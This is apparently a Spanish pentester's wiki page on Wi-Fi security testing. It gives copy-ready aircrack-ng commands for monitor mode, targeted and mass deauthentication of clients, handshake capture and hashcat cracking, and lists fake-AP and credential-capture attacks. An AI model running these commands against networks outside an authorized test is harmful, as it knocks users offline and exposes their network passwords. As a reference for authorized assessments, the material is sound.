Grimorio de XTORMIN
Xtormin GithubLinkedIn
  • Home
  • 🧠IA / AI
    • Investigación y automatización
    • IA en local
    • Plantillas de prompts
      • Informes de pentesting
  • 🏢Pentesting en Infraestructuras
    • Intrusión física
    • Redes Wi-Fi
      • Herramientas
      • Metodología de Pentest Wifi
      • WEP
      • WPA2-PSK / Red personal
      • WPA2-MGT / Red corporativa
    • Cloud
      • 🔷Azure
        • Herramientas
        • Metodología de Azure Pentest
        • AzureAD
        • Az Powershell
        • Az Cli
        • Portal de Azure
    • Perímetro
      • Acceso remoto
    • Red interna
      • Windows
      • Active directory
        • Enumeración manual
    • Servicios
      • FTP - 21/tcp
      • SSH - 22/tcp
      • DNS - 53/UDP
      • SMB - 135, 445 /tcp
      • SNMP - 161, 162, 10161, 10162/udp
      • IPMI - 623/udp/tcp
      • RDP - 3389/TCP
      • Redis - 6379/tcp
    • Misc
      • Transferencia de ficheros
  • 🌐Pentesting en aplicaciones web
    • General
      • Ataques y vulnerabilidades
        • Autenticación
          • Vulnerabilidades JWT
        • Javascript
          • XSS
          • Contaminación de prototipos - Prototype pollution
        • GraphQL
      • Explotación
        • Webshell
    • Tecnología
      • Jenkins
      • Salesforce
  • ⚒️Herramientas comunes
    • Recursos generales
    • Nmap
    • Nuclei
    • BloodHound
  • 👾MISC
    • [ Kali ] Setup
      • VPN
Con tecnología de GitBook
En esta página
  • Conceptos generales
  • Tabla del protocolo Wi-Fi IEEE 802.1
  • Seguridad en redes inalámbricas
  • Comandos generales
  • Modo monitor
  • Modo managed
  • Captura de paquetes
  • Captura básica
  • Captura en una banda en concreto
  • Captura de un ESSID en concreto
  • Captura de un BSSID en concreto
  • Deautenticación
  • Deautenticación simple
  • Deautenticación múltiple
  • Obtener nombres de redes ocultas - Hidden SSIDs
  • Cracking
  • Diccionarios
  • Hashcat
  • Resumen de ataques
  • WEP
  • WPA/WPA2-PSK
  • WPA/WPA2-MGT
  • WPA3
  • Referencias

¿Te fue útil?

  1. Pentesting en Infraestructuras

Redes Wi-Fi

Como se van a trabajar con múltiples tarjetas de red, como todos los comandos tienen una versión con variables, para que sea más fácil y rápido modificar la información.

Conceptos generales

Tabla del protocolo Wi-Fi IEEE 802.1

Protocolo / Banda
Frecuencia
Ancho del canal

802.11ax

2,4 o 5 GHz

20, 40, 80, 160 MHz

802.11ac wave2

5 GHz

20, 40, 80, 160 MHz

802.11ac wave1

5 GHz

20, 40, 80 MHz

802.11n

2,4 o 5 GHz

20, 40 MHz

802.11g

2,4 GHz

20 MHz

802.11a

5 GHz

20 MHz

802.11b

2,4 GHz

20 MHz

Tradicional 802.11

2,4 GHz

20 MHz

Seguridad en redes inalámbricas

Las redes inalámbricas pueden contar con diferentes tipos de seguridad, ante los cuales, variarán los ataques a realizar.

  1. WPS.

  2. WEP.

  3. WPA/WPA2/WPA3-PSK. (Personal)

  4. WPA/WPA2/WPA3-MGT. (Enterprise)

Comandos generales

Para mostrar información sobre las interfaces de red y wifi:

ip a
ip link show
iwconfig

Modo monitor

Para la gran mayoría de las pruebas, es necesario tener la interfaz de red en modo monitor y para ello será necesario utilizar una tarjeta wifi compatible con ello.

El modo monitor permite capturar paquetes, de esta forma, es posible obtener información de los puntos de acceso y clientes conectados, entre otros detalles.

Para realizar la captura de paquetes, es necesario cambiar la interfaz a modo monitor (o modo promiscuo). Por defecto, se suele encontrar en modo managed.

Para cambiar el modo de una interfaz, por ejemplo, la wlan0 a modo monitor, se realizarán las siguientes acciones:

  1. Tomar como variable IFACE el nombre de la interfaz de red que se quiera modificar. (ej: wlan0)

  2. Deshabilitar la interfaz de red.

  3. Cerrar (mata 🔪🔪🔪) los procesos de red (sí, te vas a quedar sin internet 🕯️ asegurate de haber instalado antes las herramientas que necesitarás).

  4. Cambiar la interfaz a modo monitor.

  5. Habilitar la interfaz de red.

  6. Mostar información de las interfaces de red inalámbricas.

Por ejemplo, si las redes o SSIDs se encuentran en bandas de 2,4Ghz o 5Ghz, deberemos modificar la configuración de nuestra tarjeta para que trabaje con esa banda y canales correspondientes.

A continuación, se detallan los comandos de acuerdo a las bandas con las que se desee trabajar:

2,4Ghz

IFACE=wlan0
ip link set $IFACE down
airmon-ng check kill
iw $IFACE set monitor none
iw dev $IFACE set txpower fixed 3000
ip link set $IFACE up
iw dev
IFACE=wlan0
ifconfig $IFACE down
airmon-ng check kill
iwconfig $IFACE mode monitor
ifconfig $IFACE up
iwconfig

5Ghz

IFACE=wlan0
ip link set $IFACE down
airmon-ng check kill
iw $IFACE set monitor none
iw dev $IFACE set txpower fixed 3000
iw dev $IFACE set freq 5180
ip link set $IFACE up
iw dev
IFACE=wlan0
CH=108
ifconfig $IFACE down
airmon-ng check kill
iwconfig $IFACE mode monitor
iwconfig $IFACE channel $CH
ifconfig $IFACE up
iwconfig

Modo managed

IFACE=wlan0
ip link set $IFACE down
iw $IFACE set type managed
ip link set $IFACE up
iw dev
IFACE=wlan0
service network-manager start
ifconfig $IFACE down
iwconfig $IFACE mode managed
ifconfig $IFACE up
iwconfig

Captura de paquetes

Captura básica

Se capturan paquetes utilizando la interfaz de red en cuestión (IFACE) y se guarda la información en un fichero pcap que luego se podrá abrir con wireshark.

IFACE=wlan0
PCAP=captura
airodump-ng $IFACE --write $PCAP

Si el nombre del pcap ya existe, se crea un fichero con el mismo nombre seguido de una numeración ascendente, evitando sobreescribir capturas que hayamos realizado anteriormente.

Captura en una banda en concreto

  • Banda a:

IFACE=wlan0
BAND=a
airodump-ng --band $BAND $IFACE
  • Bandas a, b y g:

IFACE=wlan0
BAND=abg
airodump-ng --band $BAND $IFACE

Captura de un ESSID en concreto

Es posible capturar paquetes de un ESSID en concreto haciendo uso de expresiones regulares, esto permitirá focalizar la captura de paquetes en los SSID que tengamos dentro del alcance y guardar la información en un fichero pcap que luego se podrá abrir con wireshark.

IFACE=wlan0
PCAP=captura
REGEX=WIFI_*
airodump-ng $IFACE --write $PCAP --essid-regex $REGEX

Por ejemplo, el comando anterior, realizará una captura utilizando la interfaz wlan0 de todas aquellas redes cuyo SSID coincida con la expresión regular indicada (WIFI_WTF, WIFI_OMG, etc.) y guardará la información en un fichero llamado captura.

Captura de un BSSID en concreto

Tras realizar una primera captura básica donde se pueden observar las redes que se encuentran alrededor, se identifica el/los BSSID (MAC) de la red objetivo y el canal, para realizar una captura solo de información de dicha red (para capturar solo lo que nos interesa y omitir redes fuera del alcance).

Por ejemplo:

airodump-ng --bssid <MAC del router> --channel <canal en el que se emite> --write <fichero pcap> <interfaz>
airodump-ng --bssid 00:11:22:33:44:55 --channel 6 --write output wlan0

Lo mismo, pero con variables:

IFACE=wlan0
BSSID=00:11:22:33:44:55
CH=6
PCAP=captura
airodump-ng --bssid $BSSID --channel $CH --write $PCAP $IFACE

Deautenticación

Desconectar a todo el mundo o un cliente en específico (ESSID) de un AP.

Para la realización de la mayoría de ataques, cuando no podamos capturar conexiones nuevas en la red, será muy util realizar un ataque de deautenticación controlado contra clientes de la red objetivo con el fin de desconectar a un usuario/cliente de la red objetivo y capturar la información de autenticación de dicho usuario de acuerdo a la seguridad de la red en cuestión.

Por ejemplo, si la red tiene:

  • WPA-PSK: Se fuerza al usuario a deautenticarse de la red, podremos capturar el handshake.

  • WPA-MGT: Se fuerza al usuario a deautenticarse y se capturan credenciales con un AP falso.

Si se quiere evitar realizar ataques de deautenticación, es recomendable capturar paquetes antes de que se realicen nuevas conexiones, por ejemplo, al comienzo de la jornada habitual de los trabajadores o al volver de la hora de comida. Para ello, bien se puede madrugar, o dejar una raspberry PI capturando handshakes y/o un AP falso (aquí es donde empieza a ser útil tener mínimo dos tarjetas de red y, además, cuenten con soporte de la frecuencia del AP más cercano a la posición del dispositivo de ataque).

Deautenticación simple

Para realizar un ataque de deautenticación, es necesario conocer:

  • La MAC del AP del SSID (red objetivo) del cuál se quiere obtener el handshake.

  • La MAC de un cliente que se encuentre conectado a dicho AP.

Esta información se puede obtener de la siguiente forma:

  1. Seleccionar la MAC del cliente que se desea deautenticar.

  2. Utilizar airplay-ng para deautenticar al usuario, repetir todas las veces que se considere necesarias para obtener el handshake o credenciales. Si no se consigue obtener un handshake, ponerse en medio o acercarse al cliente objetivo.

  3. Obtención del handshake o credenciales.

De acuerdo a los pasos mencionados anteriormente:

  1. Capturar de redes cercanas o directamente nuestra red objetivo:

IFACE=wlan0
PCAP=captura
REGEX=WIFI_*
airodump-ng $IFACE --write $PCAP --essid-regex $REGEX
  1. Conociendo la MAC (BSSID) de la red objetivo, se realiza una captura de paquetes de dicha red. Aquí pueden pasar dos cosas:

    • Se realiza una nueva conexión por parte del cliente y se consigue capturar el handshake o credenciales.

    • Forzamos la nueva conexión del cliente usando la MAC del dispositivo que se quiera deautenticar para capturar el handshake en cuanto se intente conectar al AP (ir al punto 3).

IFACE=wlan0
BSSID=00:11:22:33:44:55
CH=6
PCAP=captura
airodump-ng --bssid $BSSID --channel $CH --write $PCAP $IFACE
  1. Se realiza la deautenticación del cliente objetivo mientras se capturan paquetes del AP (BSSID) o red (ESSID) en cuestión.

    1. Si se conoce que solo hay un AP en la red, será interesante hacerlo solo de este o del AP más cercano a nuestra posición, esto se puede saber por la potencia de la señal.

    2. En cambio, si la red tiene múltiples AP's, será interesante realizar una captura del ESSID, con el fin de abarcar todos los AP's correspondientes a la red objetivo y tener mayor probabilidad de capturar el handshake.

Mientras se realiza una captura del AP o red (con el comando del punto 2), desde otra terminal se ejecuta el siguiente comando para forzar la deautenticación del cliente:

aireplay-ng --deauth <segundos de desconexión> -a <bssid de la red> -c <dispositivo a desconectar> <interfaz>
aireplay-ng --deauth 4 -a 00:11:22:33:44:55 -c 55:44:33:22:11:00 wlan0 --ignore-negative-one 

Lo mismo, con variables:

IFACE=wlan0
DEAUTH=4
BSSID=00:11:22:33:44:55
MACVICTIM=55:44:33:22:11:00
aireplay-ng --deauth $DEAUTH -a $BSSID -c $MACVICTIM $IFACE --ignore-negative-one 
  1. Realizar la deautenticación hasta obtener un handshake o credenciales. Si no se consigue un resultado favorable, habrá que colocarse físicamente entre el AP y la víctima, a mayor cercanía, más probabilidades de capturar los paquetes.

Deautenticación múltiple

Si se realiza la deautenticación anterior para múltiples usuarios, se puede causar una denegación de servicio en masa.

IFACE=wlan0
DEAUTH=10
BSSID=00:11:22:33:44:55
aireplay-ng -0 $DEAUTH -a $BSSID $IFACE

Obtener nombres de redes ocultas - Hidden SSIDs

Es posible obtener el nombre de redes ocultas si se capturan paquetes de conexiones de clientes a esta red.

Por ejemplo, se identifican las redes disponibles, y posteriormente, se capturan paquetes del BSSID del que se desee obtener el nombre.

IFACE=wlan0
airodump-ng $IFACE
IFACE=wlan0
CH=6
BSSID=00:11:22:33:44:55
airodump-ng --bssid $BSSID --channel $CH $IFACE

Una vez se conecte un usuario, bien de forma trivial o por medio de forzar una nueva conexión deautenticando al usuario, se obtendrá el nombre de la red.

Cracking

Diccionarios

Crunch

crunch 16 16 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 -t @@@@@@@@@@@@@@@@ -o wordlist

Hashcat

Para el cracking de contraseñas desde los pcap capturados, se puede realizar un:

  • Ataque por diccionario.

  • Ataque de fuerza bruta.

Para el ataque por diccionario:

hashcat -m 22000 hash.hc22000 wordlist.txt

Para el ataque por fuerza bruta:

hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
hashcat -m 22000 hash.hc22000 -a 3 --increment --increment-min 8 --increment-max 12 ?d?d?d?d?d?d?d?d?d?d?d?d

Una vez se obtenga la contraseña, se puede visualizar con el siguiente comando:

hashcat -m 22000 hash.hc22000 --show

Resumen de ataques

  • [DoS] Denegación de servicio.

    • Ataque de deautenticación.

    • Saturación de APs.

  • [Cracking] Fuerza bruta.

    • WEP.

    • WPA-PSK.

      • Captura de handshake (4-way).

        • Nueva conexión.

        • Deautenticación.

      • Captura de PMKID.

      • WPS pin.

    • WPA-MGT.

      • Captura de nombres de usuario.

      • Fuerza bruta para obtención de credenciales.

  • [Fake AP] AP falso.

    • Red abierta.

      • Portal cautivo y captura de credenciales.

    • WPA-PSK.

      • Captura de handshake y cracking.

    • WPA-MGT.

      • Captura de credenciales corporativas.

      • Captura de nombres de usuarios.

      • Captura y falsificación de certificados.

  • [Otros] KARMA, MANA, Loud Mana, Known beacon.

    • Red abierta.

      • Portal cautivo y captura de credenciales.

    • WPA.

      • Captura de handshake.

Para la adaptación de los ataques de acuerdo a la casuística con la que nos encontremos y la seguridad de las redes objetivo, es muy útil utilizar el siguiente mapa para determinar el flujo de ataque y llevar un mejor control de las pruebas:

WEP

WPA/WPA2-PSK

WPA/WPA2-MGT

WPA3

Referencias

AnteriorIntrusión físicaSiguienteHerramientas

Última actualización hace 6 meses

¿Te fue útil?

Realizar una captura básica para obtener información de las redes cercanas.

Obtener la MAC de la red objetivo.

Realizar una captura del AP con la MAC obtenida.

Wifi Hacking Mindmap

🏢
https://github.com/koutto/pi-pwnbox-rogueap/blob/main/mindmap/WiFi-Hacking-MindMap-v1.pdf
WEP
WPA2-PSK / Red personal
WPA2-MGT / Red corporativa
WPA3
https://github.com/koutto/pi-pwnbox-rogueap/blob/main/mindmap/WiFi-Hacking-MindMap-v1.pdf
https://github.com/ricardojoserf/wifi-pentesting-guide
[Captura básica]
[Captura de un ESSID en concreto]
[Captura de un BSSID en concreto]